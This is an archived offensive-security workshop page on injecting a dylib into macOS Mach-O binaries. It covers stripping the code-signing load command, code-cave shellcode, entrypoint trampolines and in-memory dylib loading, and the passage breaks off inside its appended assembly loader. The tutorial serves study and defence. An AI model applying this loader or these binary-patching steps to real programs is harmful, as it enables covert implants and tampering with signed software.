{
	"id": "b3ee8cda-2e0a-4a5f-995b-48c446e6e9bd",
	"created_at": "2026-04-06T01:29:07.448566Z",
	"updated_at": "2026-04-10T03:21:50.686841Z",
	"deleted_at": null,
	"sha1_hash": "893c1fb640568e79407efb9b9224200f378323f8",
	"title": "MacOS Dylib Injection through Mach-O Binary Manipulation",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 316030,
	"plain_text": "MacOS Dylib Injection through Mach-O Binary Manipulation\r\nArchived: 2026-04-06 01:27:44 UTC\r\n2. Background\r\nSince switching to an offensive role, I've been designing implants for various environments. This workshop is a\r\nway to share knowledge with other offensive teams as well as defenders looking to instrument protections. The\r\nhistory of dylib loading technique was first notably mentioned in 2015 and has been used in the wild in late 2019.\r\nSince late 2019, I've been able to implement this technique in shellcode. Below is an example of implementation.\r\nTerms\r\nMach-O - short for Mach Object file format, is a file format for executables, object code, shared libraries,\r\ndynamically-loaded code, and core dumps.\r\ndylib - macOS dynamically loaded shared library.\r\ndlyd - the dynamic linker.\r\notool - object file displaying tool. The otool command displays specified parts of object files or libraries.\r\nnm - command to list symbols from object files.\r\nheader - contains general information about the binary: byte order (magic number), cpu type, amount of load\r\ncommands, etc.\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 1 of 20\n\nload commands - kind of a table of contents, that describes position of segments, symbol table, dynamic symbol\r\ntable, etc. Each load command includes meta-information, such as type of command, its name, position in a binary\r\nand so on.\r\nfunction prologue - a few lines of code at the beginning of a function, which prepares the stack and registers for\r\nuse within the function.\r\nentrypoint - refers to the starting address within the code section that will be executed.\r\nbundle - is a macOS file directory with a defined structure and file extension, allowing related files to be grouped\r\ntogether as a conceptually single item.\r\ncode cave - a section in memory or binary that is usually null bytes or bytes that can be overwritten with new\r\nbytes. Candidate code caves usually target bytes or code that is not vital to the normal operation of the target\r\nbinary.\r\nshellcode - bytes of compiled code that contain position independent code. This means that it does not need any\r\nexternal resources in order to execute.\r\ntrampoline - also known as an indirect jump vector, is a modification of fixed code to jump to a new location in\r\ncode and then jump back to the original inline code execution.\r\n4. Parsing the Mach-O Header\r\nIn order to place shellcode into a target Mach-O binary, you first need to collect:\r\nEntrypoint address\r\nOffset to the end of the header\r\nOffset to the beginning of the TEXT section\r\nOffset to the end of the Mach-O binary\r\nEssentially you are using the space between the header section and the TEXT section as a code cave for the\r\nshellcode. Note that this particular code cave requires the shellcode size to fit. The technique of code caving is not\r\na new concept. Entrypoint redirection is also a well known classic technique among other binary hijacking\r\nmethods.\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 2 of 20\n\nMach-O Header Breakdown\r\nThe Mach-O header consists of basic metadata information and a table that contains a list of load commands.\r\nFollowing the header structure is the load commands section.\r\nstruct mach_header_64 {\r\n uint32_t magic; /* mach magic number identifier */\r\n cpu_type_t cputype; /* cpu specifier */\r\n cpu_subtype_t cpusubtype;/* machine specifier */\r\n uint32_t filetype; /* type of file */\r\n--\u003e uint32_t ncmds; /* number of load commands */\r\n--\u003e uint32_t sizeofcmds;/* the size of all the load commands */\r\n uint32_t flags; /* flags */\r\n uint32_t reserved; /* reserved */\r\n};\r\nhttps://opensource.apple.com/source/xnu/xnu-6153.11.26/EXTERNAL_HEADERS/mach-o/loader.h\r\nThe important piece of information in the header is the number of load commands (ncmds) and the size of all the\r\nload commands (sizeofcmds). The size of all load commands is the offset to the end of the full header which is the\r\nstarting offset of the code cave.\r\nIgnoring Code Signing Checks\r\nThe size of commands will need to be manipulated in order to remove the code signing load command because\r\nonce a binary is modified it will no longer pass the integrity check. Typically the code signing load command will\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 3 of 20\n\nbe the last of the load commands. By decrementing the number of load commands, the dyld loader will ignore the\r\ncode signing section altogether.\r\nIn order to get the entrypoint you need to traverse the list of load commands by using the cmdsize to find the next\r\ncommand struct offset. Load command LC_MAIN or LC_UNIXTHREAD will have the entrypoint needed. Most\r\nnewer Mach-O binaries are compiled with LC_MAIN and older binaries use LC_UNIXTHREAD.\r\nstruct load_command {\r\n uint32_t cmd; /* type of load command */\r\n uint32_t cmdsize; /* total size of command in bytes */\r\n};\r\nhttps://opensource.apple.com/source/xnu/xnu-6153.11.26/EXTERNAL_HEADERS/mach-o/loader.h\r\nThe load command LC_MAIN will have the entrypoint in entryoff. Note that you can't always assume that\r\nentryoff is the beginning of the file offset of main().\r\nstruct entry_point_command {\r\n uint32_t cmd; /* LC_MAIN only used in MH_EXECUTE filetypes */\r\n uint32_t cmdsize; /* 24 */\r\n--\u003e uint64_t entryoff; /* file (__TEXT) offset of main() */\r\n uint64_t stacksize;/* if not zero, initial stack size */\r\n};\r\nFor LC_UNIXTHREAD you will need to parse the registers to get the RIP register which contains the entrypoint.\r\nstruct thread_command {\r\n uint32_t cmd; /* LC_THREAD or LC_UNIXTHREAD */\r\n uint32_t cmdsize; /* total size of this command */\r\n /* uint32_t flavor flavor of thread state */\r\n /* uint32_t count count of longs in thread state */\r\n--\u003e /* struct XXX_thread_state state thread state for this flavor */\r\n /* ... */\r\n};\r\nstruct x86_thread_state64_t {\r\n uint64_t rax;\r\n uint64_t rbx;\r\n uint64_t rcx;\r\n uint64_t rdx;\r\n uint64_t rdi;\r\n uint64_t rsi;\r\n uint64_t rbp;\r\n uint64_t rsp;\r\n uint64_t r8;\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 4 of 20\n\nuint64_t r9;\r\n uint64_t r10;\r\n uint64_t r11;\r\n uint64_t r12;\r\n uint64_t r13;\r\n uint64_t r14;\r\n uint64_t r15;\r\n--\u003euint64_t rip;\r\n uint64_t rflags;\r\n uint64_t cs;\r\n uint64_t fs;\r\n uint64_t gs;\r\n };\r\nNext, you will need to get the offset of the TEXT section by traversing the load commands for\r\nLC_SEGMENT_64. The segment name (segname) should contain the word __TEXT .\r\nstruct segment_command_64 { /* for 64-bit architectures */\r\n uint32_t cmd; /* LC_SEGMENT_64 */\r\n uint32_t cmdsize; /* includes sizeof section_64 structs */\r\n--\u003e char segname[16]; /* segment name */\r\n uint64_t vmaddr; /* memory address of this segment */\r\n uint64_t vmsize; /* memory size of this segment */\r\n uint64_t fileoff; /* file offset of this segment */\r\n uint64_t filesize; /* amount to map from the file */\r\n vm_prot_t maxprot; /* maximum VM protection */\r\n vm_prot_t initprot; /* initial VM protection */\r\n uint32_t nsects; /* number of sections in segment */\r\n uint32_t flags; /* flags */\r\n};\r\nThis command is followed by a list of segments. You need to traverse the list of segments to find the section name\r\n(sectname) __text . The address (addr) will contain the virtual memory address of the start of the TEXT section\r\nwhich is the start of the code.\r\nstruct section_64 { /* for 64-bit architectures */\r\n--\u003e char sectname[16];/* name of this section */\r\n char segname[16];/* segment this section goes in */\r\n--\u003e uint64_t addr; /* memory address of this section */\r\n uint64_t size; /* size in bytes of this section */\r\n uint32_t offset; /* file offset of this section */\r\n uint32_t align; /* section alignment (power of 2) */\r\n uint32_t reloff; /* file offset of relocation entries */\r\n uint32_t nreloc; /* number of relocation entries */\r\n uint32_t flags; /* flags (section type and attributes)*/\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 5 of 20\n\nuint32_t reserved1; /* reserved (for offset or index) */\r\n uint32_t reserved2; /* reserved (for count or sizeof) */\r\n uint32_t reserved3; /* reserved */\r\n};\r\nNow that you have the virtual address of the entrypoint and the file offset of the entrypoint, you can use these to\r\ncreate the trampoline needed for the shellcode. You also have the offsets for the beginning and end of the code\r\ncave for the shellcode. You will place your shellcode within the code cave with a 16 byte boundary. To reiterate\r\nhere is a list of addresses you have at this point:\r\nVirtual address of the entrypoint\r\nFile offset of the start of TEXT\r\nFile offset of the end of the Load Commands\r\nThe Number of Load Commands\r\nEntrypoint of the shellcode\r\n5. Entrypoint Redirection\r\nCreating the Entrypoint Trampoline\r\nCompiled functions usually have a predictable function prologue that sets up the stack pointer, allocates stack\r\nspace for the function, and stores register values. Typically these prologues are similar if compiled by the same\r\nnative compiler. Below is an example of 2 different Mach-O binaries with the same function prologue. You can\r\ndump this assembly using a basic disassembler.\r\nGoogle Chrome Helper function prologue\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 6 of 20\n\n_main:\r\n100001340: 55 pushq %rbp\r\n100001341: 48 89 e5 movq %rsp, %rbp\r\n100001344: 41 57 pushq %r15\r\n100001346: 41 56 pushq %r14\r\n100001348: 41 55 pushq %r13\r\n10000134a: 41 54 pushq %r12\r\n10000134c: 53 pushq %rbx\r\nCalculator function prologue\r\n_main:\r\n100001340: 55 pushq %rbp\r\n100001341: 48 89 e5 movq %rsp, %rbp\r\n100001344: 41 57 pushq %r15\r\n100001346: 41 56 pushq %r14\r\n100001348: 41 55 pushq %r13\r\n10000134a: 41 54 pushq %r12\r\n10000134c: 53 pushq %rbx\r\nNow you need to know the offset to the start of your shellcode in the code cave. You will need to calculate the\r\nrelative jump offset from the entrypoint + size of jump instruction. This should be a negative number which will\r\nbe used in the jmp assembly instruction.\r\nint32 relative_jump_offset = shellcode_entrypoint-(entrypoint+size_of_jmp_instr);\r\nUsing a hex editor, overwrite the original function prologue with a relative jump instruction. This will take up 5\r\nbytes. Pad the remaining bytes with a nop. Be sure to save the instructions that were overwritten, at the end of\r\nyour shellcode you will need to recreate those instructions before jumping back to continue the original function\r\nprologue.\r\nEntrypoint of main with trampoline\r\n_main:\r\n100001340: e9 bb fa ff ff jmp -1349\r\n100001345: 90 nop\r\n100001346: 41 56 pushq %r14\r\n100001348: 41 55 pushq %r13\r\n10000134a: 41 54 pushq %r12\r\n10000134c: 53 pushq %rbx\r\nEnd of shellcode restoring prologue\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 7 of 20\n\n100000FD7 48 89 E5 mov rbp, rsp\r\n100000FDA 41 57 push r15\r\n100000FDC E9 65 03 00 00 jmp 0x36a ; loc_100001346\r\nProcess Fork/Execve \u0026 Memory\r\nIn macOS, when a process is forked the child process does not get an exact duplicate of the memory space. So if\r\nyou were to load the dylib in memory in the parent process and then fork, the child process will not be able to\r\naccess the dylib you loaded. Ultimately you want to redirect the control flow to the dylib without disrupting the\r\noriginal control flow so you will need to choose which child or parent process is going to load the dylib.\r\nBy calling execve on a copy of the parent process, this will ensure that the original process performs it's original\r\nfunctionality without disrupting the memory space. As for this case, the main arguments were verified in order to\r\ncontinue to the dylib loading.\r\nExample of fork/execve the child process\r\n ; check the arguments\r\n cmp rdi, 2 ; if argc == 2\r\n jne .parentprocess\r\n mov rax, [rsi+8] ; get argv[1]\r\n mov eax, dword [rax]\r\n cmp eax, 0x00303031 ; if argv[1] == \"100\"\r\n jne .exit\r\n jmp .childprocess\r\n.parentprocess:\r\n ; Do fork\r\n mov rax, 0x2000002 ; int fork(void)\r\n syscall\r\n cmp edx, 0 ; if child continue\r\n jz .exit ; if parent return to original code\r\n ; Do exec\r\n mov qword [rsp+0x28], 0x00303031\r\n mov qword [rsp+0x10], 0 ; argv[2]=NULL\r\n lea rax, [rsp+0x28]\r\n mov [rsp+0x8], rax ; argv[1]=\"100\"\r\n lea rax, [rel targetName]\r\n mov [rsp+0], rax ; argv[0]\r\n mov rsi, rsp ; argv\r\n lea rdi, [rel targetName] ; Arg1\r\n xor rdx, rdx\r\n mov rax, 0x200003b ; execve\r\n syscall\r\nHow to catch a forked process with LLDB\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 8 of 20\n\nLLDB doesn't provide an option to follow forked processes like GDB's follow-fork-mode. Instead you will need\r\nto wait and attach to the process after the fork system call is made. In 2 instances of LLDB, the first will be\r\nstopped at a breakpoint before the system call to fork and the second instance will be the following command that\r\nwaits to attach to the forked process. Single step the system call and it will attach in the second instance.\r\n(lldb) process attach --name a.out --waitfor\r\n6. Loading the Dylib in Memory\r\nFor those who are familiar with Windows OS, /usr/lib/dyld is a binary similar to ntdll in that it handles the loading\r\nof a Mach-O image into memory and accesses process addresses.\r\nMach-O Load Order\r\nThe dyld linker uses a specific order to load dylib dependencies in the memory stack. First the main executable\r\nimage will be loaded and then the dyld linker. These offsets are determined by the XNU kernel.\r\nThe dyld will be offsetted from the main executable in a range between 0x1000-0xFFFF000 and is a multiple of\r\n0x1000. Typically in Mojave and Catalina, the dyld_shared_cache is enabled by default. All other linked system\r\ndylibs will use the dyld shared-cache to populate the virtual memory address offset by a slide (padding buffer\r\nbetween dylibs). Unlike the way the main executable and dyld were loaded into memory, these system dylibs will\r\njust be linked by the dyld instead of loaded.\r\nCode snippet of how the dyld aslr offset is calculated\r\ndyld_aslr_page_offset = random();\r\ndyld_aslr_page_offset %= vm_map_get_max_loader_aslr_slide_pages(map);\r\ndyld_aslr_page_offset \u003c\u003c= vm_map_page_shift(map);\r\nhttps://github.com/apple/darwin-xnu/blob/master/bsd/kern/mach_loader.c\r\nUsing LLDB, you can view the dyld in the image list with the command (lldb) image list .\r\nExample of dyld in the image list\r\n[ 0] 0x0000000100000000 /Users/user/Documents/originalmacho\r\n[ 1] 0x0000000100047000 /usr/lib/dyld \u003c--\r\n[ 2] 0x00007fff70ab5000 /usr/lib/libsandbox.1.dylib\r\n[ 3] 0x00007fff6eb5b000 /usr/lib/libSystem.B.dylib\r\n[ 4] 0x00007fff3a995000 /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation\r\nCompared to Windows, there is no Process Environment Block (PEB) equivalent in macOS. The address to dyld\r\ncan be searched by starting from the initial address of the main executable + executable size. Since the dyld will\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 9 of 20\n\nalways exist at a multiple of 0x1000, the Mach-O file header 0xfeedfacf can be scanned by checking each offset.\r\nIn order to avoid access violations, you can use the syscall chmod to test if an address is a valid pointer.\r\nChecking with chmod before dereferencing a pointer\r\n; chmod check\r\n.fmcheck: ; else\r\n mov rdi, rbx ; Arg1: check is address is valid\r\n.fmderef:\r\n mov rsi, 0777o ; Arg2: mode\r\n mov rax, 0x200000F ; int chmod(user_addr_t path, int mode)\r\n syscall\r\n xor rsi, rsi ; clear rsi\r\n cmp rax, 2 ; check error is ENOENT\r\nResolve the necessary symbols\r\nThe address to dyld is necessary to resolve functions needed to load the malicious dylib into memory. Every\r\nversion of macOS will have a different /usr/lib/dyld binary so you will need to dynamically look up the offsets in\r\nthe symbol table. In the Mach-O's header, the LC_SYMTAB command contains the metadata of the symbol table.\r\nstruct symtab_command {\r\n uint32_t cmd; /* LC_SYMTAB */\r\n uint32_t cmdsize; /* sizeof(struct symtab_command) */\r\n--\u003e uint32_t symoff; /* symbol table offset */\r\n uint32_t nsyms; /* number of symbol table entries */\r\n--\u003e uint32_t stroff; /* string table offset */\r\n uint32_t strsize; /* string table size in bytes */\r\n};\r\nhttps://opensource.apple.com/source/xnu/xnu-6153.11.26/EXTERNAL_HEADERS/mach-o/loader.h\r\nIn the Mach-O's header, the LC_SEGMENT_64 command contains the virtual addresses for LINKEDIT and\r\nTEXT. These virtual address offsets (vmaddr) and file offset (fileoff) are needed to calculate the offset to the\r\nsymbol code.\r\nstruct segment_command_64 { /* for 64-bit architectures */\r\n uint32_t cmd; /* LC_SEGMENT_64 */\r\n uint32_t cmdsize; /* includes sizeof section_64 structs */\r\n char segname[16]; /* segment name */\r\n--\u003e uint64_t vmaddr; /* memory address of this segment */\r\n uint64_t vmsize; /* memory size of this segment */\r\n--\u003e uint64_t fileoff; /* file offset of this segment */\r\n uint64_t filesize; /* amount to map from the file */\r\n vm_prot_t maxprot; /* maximum VM protection */\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 10 of 20\n\nvm_prot_t initprot; /* initial VM protection */\r\n uint32_t nsects; /* number of sections in segment */\r\n uint32_t flags; /* flags */\r\n};\r\nhttps://opensource.apple.com/source/xnu/xnu-6153.11.26/EXTERNAL_HEADERS/mach-o/loader.h\r\nYou will need to traverse the symbol table to collect the nlist. The nlist will contain the offset of the symbol name\r\nin the symbol string table.\r\nstruct nlist_64 {\r\n union {\r\n uint32_t n_strx;/* index into the string table */\r\n } n_un;\r\n uint8_t n_type; /* type flag, see below */\r\n uint8_t n_sect; /* section number or NO_SECT */\r\n uint16_t n_desc; /* see \u003cmach-o/stab.h\u003e */\r\n--\u003e uint64_t n_value; /* value of this symbol (or stab offset) */\r\n};\r\nhttps://opensource.apple.com/source/xnu/xnu-6153.11.26/EXTERNAL_HEADERS/mach-o/nlist.h\r\nTraversing the nlist to get the virtual address of a symbol pseudocode\r\nuint32 target_symbol = 0x4d6d6f72;\r\nunint64 file_slide = linkedit-\u003evmaddr-text-\u003evmaddr-linkedit-\u003efileoff;\r\nchar* strtab = (char *)(base_addr + file_slide + symtab-\u003estroff);\r\nstruct nlist_64 *nlist = (struct nlist_64 *)(base_addr + file_slide + symtab-\u003esymoff);\r\nfor (int i = 0; i \u003c symtab-\u003ensyms; i++){\r\n uint32 name = strtab + nlist[i].n_un.n_strx\r\n if (name == target_symbol)\r\n return base_addr + nlist[i].n_value;\r\n}\r\nNSCreateObjectFileImageFromMemory and NSLinkModule\r\nThere are 2 dyld functions that link dylibs from memory:\r\nNSCreateObjectFileImageFromMemory which performs the typical dyld loading procedure for an object\r\nthat exists in a memory location rather than a file.\r\nNSLinkModule which adds the loaded dylib image memory space to the current process' image list array.\r\nThe discovery of these functions used for in-memory runtime loading was originally mentioned in the Blackhat\r\n2015 talk \"Writing Bad @$$ Malware for OS X\" by Patrick Wardle.\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 11 of 20\n\nNSObjectFileImageReturnCode NSCreateObjectFileImageFromMemory(const void* address, size_t size, NSObjectFileIma\r\nNSModule NSLinkModule(NSObjectFileImage objectFileImage, const char* moduleName, uint32_t options)\r\nhttps://github.com/opensource-apple/dyld/blob/master/src/dyldAPIs.cpp\r\nThe malicious dylib must already exist somewhere in memory, so first use the mmap syscall to load your dylib\r\ninto memory. Next you can pass that address to NSCreateObjectFileImageFromMemory to initialize the image.\r\nThis function requires the dylib type to be a bundle so you will need to change the type in the dylib's Mach-O\r\nheader.\r\nShellcode calling each function\r\n; create file image\r\n lea rsi, [rel targetSize] ; Arg2: size\r\n mov rsi, [rsi]\r\n lea rdx, [rsp+0x90] ; Arg3: NSObjectFileImage \u0026fi\r\n mov rax, [rsp+0x80]\r\n call rax ; _NSCreateObjectFileImageFromMemory\r\n test al, al\r\n jz .leaveall\r\n; link image\r\n mov rdi, [rsp+0x90] ; Arg1: NSObjectFileImage fi\r\n lea rsi, [rel payloadName] ; Arg2: image name\r\n mov edx, 3 ; Arg3: NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW\r\n mov rax, [rsp+0x88]\r\n call rax ; _NSLinkModule\r\n mov [rsp+0x98], rax ; NSModule nm\r\nNext, call NSLinkModule to link the image to the image list of the main executable. This function will return a\r\npointer to NSModule. You will need to traverse addresses (size 8) from this pointer in order to acquire the address\r\nto the newly linked malicious dylib. This process is similar to finding the dyld image except you are dereferencing\r\nthe pointer.\r\nExample of \"evil\" dylib loaded and linked in the image list\r\n[ 38] 0x00007fff71f32000 /usr/lib/system/libsystem_trace.dylib\r\n[ 39] 0x00007fff71f4a000 /usr/lib/system/libunwind.dylib\r\n[ 40] 0x00007fff71f50000 /usr/lib/system/libxpc.dylib\r\n[ 41] 0x00007fff7099b000 /usr/lib/libobjc.A.dylib\r\n[ 42] 0x00007fff6ee8d000 /usr/lib/libc++abi.dylib\r\n[ 43] 0x00007fff6ee39000 /usr/lib/libc++.1.dylib\r\n[ 44] 0x00007fff6f902000 /usr/lib/libfakelink.dylib\r\n[ 45] 0x00007fff6e693000 /usr/lib/libDiagnosticMessagesClient.dylib\r\n[ 46] 0x00007fff6fa14000 /usr/lib/libicucore.A.dylib\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 12 of 20\n\n[ 47] 0x00007fff71073000 /usr/lib/libz.1.dylib\r\n[ 48] 0x0000000106a50000 evil (0x0000000106a50000) \u003c--\r\nOnce you have the base address of your newly linked dylib, you can add it to the function offset of the exported\r\nfunction to call the exported function.\r\n mov rdx, [rdx]\r\n add rsi, rdx ; dylib image base address + export offset\r\n call rsi ; call payload function\r\nAt this point, you have the dylib loaded in memory and the exported function called. If your forked child process\r\nis crashing, this means there is something wrong with the dependencies or insufficient error handling in the dylib\r\nyou loaded. Keep in mind that any crashes will be reported in system logging and you might need to spin up\r\nLLDB to debug break on the crash.\r\nI hope you enjoyed this workshop and hopefully you will feel more comfortable working with shellcode on\r\nmacOS.\r\n7. Appendix\r\nShellcode\r\n; shellcodeloader.asm\r\n; written by malwareunicorn\r\n; WARNING: FOR MACOS ONLY\r\n; nasm -f macho64 shellcodeloader.asm -o shellcodeloader.o \u0026\u0026 ld -o shellcodeloader.macho -macosx_version_min 10\r\n; Description: This is meant to be initial shellcode in a target process.\r\n; The shellcode expects a macos dylib to be at the targetOffset. It will then\r\n; load the dylib as an mmapped file. Then it will find the base address of dyld\r\n; to get the 2 API calls needed to load the dylib image. Once the dylib is\r\n; loaded it will get the targetEntry to call the export function of the dylib.\r\nBITS 64\r\nsection .text\r\nglobal main\r\nmain:\r\n ; fix registers and stack\r\n push rbp\r\n mov rbp, rsp\r\n sub rsp, 0xB0\r\n ; check the arguments\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 13 of 20\n\ncmp rdi, 2 ; if argc == 2\r\n jne .parentprocess\r\n mov rax, [rsi+8] ; get argv[1]\r\n mov eax, dword [rax]\r\n cmp eax, 0x00303031 ; if argv[1] == \"100\"\r\n jne .exit\r\n jmp .childprocess\r\n.parentprocess:\r\n ; Do fork\r\n mov rax, 0x2000002 ; int fork(void); vfork 0x42\r\n syscall\r\n cmp edx, 0 ; if child continue\r\n jz .exit ; if parent return to original code\r\n ; Do exec\r\n mov qword [rsp+0x28], 0x00303031\r\n mov qword [rsp+0x10], 0 ; argv[2]=NULL\r\n lea rax, [rsp+0x28]\r\n mov [rsp+0x8], rax ; argv[1]=\"100\"\r\n lea rax, [rel targetName]\r\n mov [rsp+0], rax ; argv[0]\r\n mov rsi, rsp ; argv\r\n lea rdi, [rel targetName] ; Arg1:\r\n xor rdx, rdx\r\n mov rax, 0x200003b ; execve\r\n syscall\r\n jmp .leaveall\r\n.childprocess:\r\n lea rdi, [rel targetName] ; Arg1: Target Macho Name\r\n mov rsi, 0x2 ; Arg2: O_RDWR flag\r\n mov rax, 0x2000005 ; int open(user_addr_t path, int flags, int mode) NO_SYSCALL_STUB; }\r\n syscall\r\n cmp rax, 3 ; if fd \u003c 3\r\n jl .leaveall\r\n mov [rsp+0x68], rax ; store the fd\r\n lea r9, [rel targetOffset] ; Arg6: offset of stage3 should be a multiple of the page size\r\n mov r9, [r9] ; offset\r\n mov r8, rax ; Arg5: fd\r\n mov rcx, 0x1002 ; Arg4: flags MAP_ANON | MAP_PRIVATE\r\n mov rdx, 0x7 ; Arg3: PROT_READ | PROT_WRITE | PROT_EXEC\r\n lea rsi, [rel targetSize] ; Arg2: filesize multiple of the page size of the system\r\n mov rsi, [rsi]\r\n mov rdi, 0 ; Arg1: return address\r\n mov rax, 0x20000C5 ; user_addr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos)\r\n syscall\r\n cmp rax, 0x7F ; if error code\r\n jl .leaveall\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 14 of 20\n\n; Store address of golang binary\r\n mov [rsp+0x70], rax\r\n xor rcx, rcx ; Arg4: no deref\r\n mov rdx, 0x1000 ; Arg3: increment\r\n xor rsi, rsi ; Arg2: \u0026base\r\n mov rdi, 0x100000000 ; Arg1: EXECUTABLE_BASE_ADDR\r\n call .findmacho\r\n xor rcx, rcx ; Arg4: no deref\r\n mov rdx, 0x1000 ; Arg3: increment as 0x1000\r\n add rsi, 0x44000 ; approx size of Target Macho\r\n mov rdi, rsi ; Arg1: EXECUTABLE_BASE_ADDR + 0x44000\r\n xor rsi, rsi ; Arg2: \u0026dyld\r\n call .findmacho\r\n mov [rsp+0x78], rsi ; store binary base address of dyld\r\n ; get symbols:\r\n mov rdx, [rsp+0x78] ; Arg3: binary base address of dyld\r\n mov rsi, 25 ; Arg2: offset\r\n mov rdi, 0x4d6d6f72 ; Arg1: _NSCreateObjectFileImageFromMemory\r\n call .resolvesymbol\r\n mov [rsp+0x80], rax ; store addr of _NSCreateObjectFileImageFromMemory\r\n mov rdx, [rsp+0x78] ; Arg3: binary base address of dyld\r\n mov rsi, 4 ; Arg2: offset\r\n mov rdi, 0x4d6b6e69 ; Arg1: _NSLinkModule\r\n call .resolvesymbol\r\n mov [rsp+0x88], rax ; store addr of _NSLinkModule\r\n ; change the filetype to a bundle\r\n mov rdi, [rsp+0x70] ; Arg1: mmap addr of payload\r\n mov dword [rdi+0xC], 0x8\r\n ; create file image\r\n lea rsi, [rel targetSize] ; Arg2: size\r\n mov rsi, [rsi]\r\n lea rdx, [rsp+0x90] ; Arg3: NSObjectFileImage \u0026fi\r\n mov rax, [rsp+0x80]\r\n call rax ; _NSCreateObjectFileImageFromMemory\r\n test al, al\r\n jz .leaveall\r\n ; link image\r\n mov rdi, [rsp+0x90] ; Arg1: NSObjectFileImage fi\r\n lea rsi, [rel payloadName] ; Arg2: image name\r\n mov edx, 3 ; Arg3: NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW\r\n mov rax, [rsp+0x88]\r\n call rax ; _NSLinkModule\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 15 of 20\n\nmov [rsp+0x98], rax ; NSModule nm\r\n ; get execute_base\r\n mov rdi, rax ; Arg1: NSModule nm\r\n xor rsi, rsi ; Arg2: Payload Image Base\r\n mov rdx, 0x8 ; Arg3: size of ptr increment\r\n mov rcx, 1 ; Arg4: yes deref\r\n call .findmacho\r\n cmp rsi, 0\r\n je .leaveall\r\n lea rdx, [rel targetEntry]\r\n mov rdx, [rdx]\r\n add rsi, rdx ; dylib image base address + export offset\r\n call rsi ; call payload function\r\n.leaveall:\r\n xor rax, rax\r\n mov rax, 0x2000001 ; exit\r\n mov rdi, 0\r\n syscall\r\n.exit:\r\n add rsp, 0xB0\r\n pop rbp\r\n ; begin original stack prelog:\r\n push rbp ; 55 original entrypoint instructions\r\n mov rbp, rsp ; 48 89 E5 original entrypoint instructions\r\n push r15 ; 41 57 original entrypoint instructions\r\n ; TODO: Replace these bytes to point to the original entrypoint + 6 bytes\r\n ; This is a relative jump so (original entrypoint+6)-(RIP+5)\r\n ; Change 0xEB to 0xE9 and insert 4 byte offset\r\n jmp .exit\r\n nop\r\n nop\r\n nop\r\n; This function traverses the memory images to reach the next\r\n; 0xfeedfacf header. It uses chmod to verify if a valid pointer.\r\n.findmacho:\r\n push rbp\r\n mov rbp, rsp\r\n sub rsp, 0x20 ; allow for 3 vars\r\n ; rdi = arg1 addr\r\n ; rsi = arg2 base\r\n ; rdx = arg3 increment\r\n ; rcx = arg4 deference (1 or 0)\r\n mov [rsp+0], rdi ; addr\r\n mov [rsp+0x8], rsi ; base\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 16 of 20\n\nmov [rsp+0x10], rdx ; increment\r\n mov [rsp+0x18], rcx ; deref\r\n mov rbx, [rsp+0] ; starting address\r\n.fmloop0:\r\n mov rcx, [rsp+0x18]\r\n cmp rcx, 1 ; if dereference == 1\r\n jne .fmcheck\r\n mov rcx, [rbx]\r\n mov rdi, rcx ; Arg1: check is address is valid\r\n jmp .fmderef\r\n ; chmod check\r\n.fmcheck: ; else\r\n mov rdi, rbx ; Arg1: check is address is valid\r\n.fmderef:\r\n mov rsi, 0777o ; Arg2: mode\r\n mov rax, 0x200000F ; int chmod(user_addr_t path, int mode)\r\n syscall\r\n xor rsi, rsi ; clear rsi\r\n cmp rax, 2 ; check error is ENOENT\r\n jne .fmloop1\r\n mov edx, [rdi]\r\n mov eax, 0xfeedfacf\r\n cmp eax, edx ; if header == 0xfeedfacf\r\n jne .fmloop1\r\n mov [rsp+0x8], rdi ; store found address\r\n jmp .fmexit\r\n.fmloop1:\r\n add rbx, [rsp+0x10] ; add increment\r\n jmp .fmloop0\r\n.fmexit:\r\n mov rsi, [rsp+0x8]\r\n add rsp, 0x20\r\n pop rbp\r\n ret\r\n; This function will retrieve the address to the dyld function requested.\r\n; It will loop through the symbol names to capture the virtual offset to the\r\n; function.\r\n.resolvesymbol:\r\n push rbp\r\n mov rbp, rsp\r\n sub rsp, 0xB0\r\n ; rdi ARG1 : target symbol\r\n ; rsi Arg2 : offset\r\n ; rdx Arg3 : base address\r\n ; [rsp+0] = symtab\r\n ; [rsp+8] = sc\r\nhttps://malwareunicorn.org/workshops/macos_dylib_injection.html#5\r\nPage 17 of 20\n\n; [rsp+0x10] = linkedit\r\n ; [rsp+0x18] = text\r\n ; [rsp+0x20] = file_slide\r\n ; [rsp+0x28] = target symbol\r\n ; [rsp+0x30] = base address\r\n ; [rsp+0x38] = offset\r\n ; [rsp+0x40] = strtab\r\n mov [rsp+0x28], rdi\r\n mov [rsp+0x30], rdx\r\n mov [rsp+0x38], rsi\r\n mov rbx, [rsp+0x30]\r\n mov r8, rbx\r\n add r8, 0x20 ; lc = base + sizeof(struct mach_header_64)\r\n mov ecx, [rbx+0x10] ; mach_header_64-\u003encmds\r\n sub ecx, 1\r\n.rsloop:\r\n mov edx, [r8] ; cmd\r\n cmp edx, 0x2 ; LC_SYMTAB\r\n jne .rscontinue\r\n 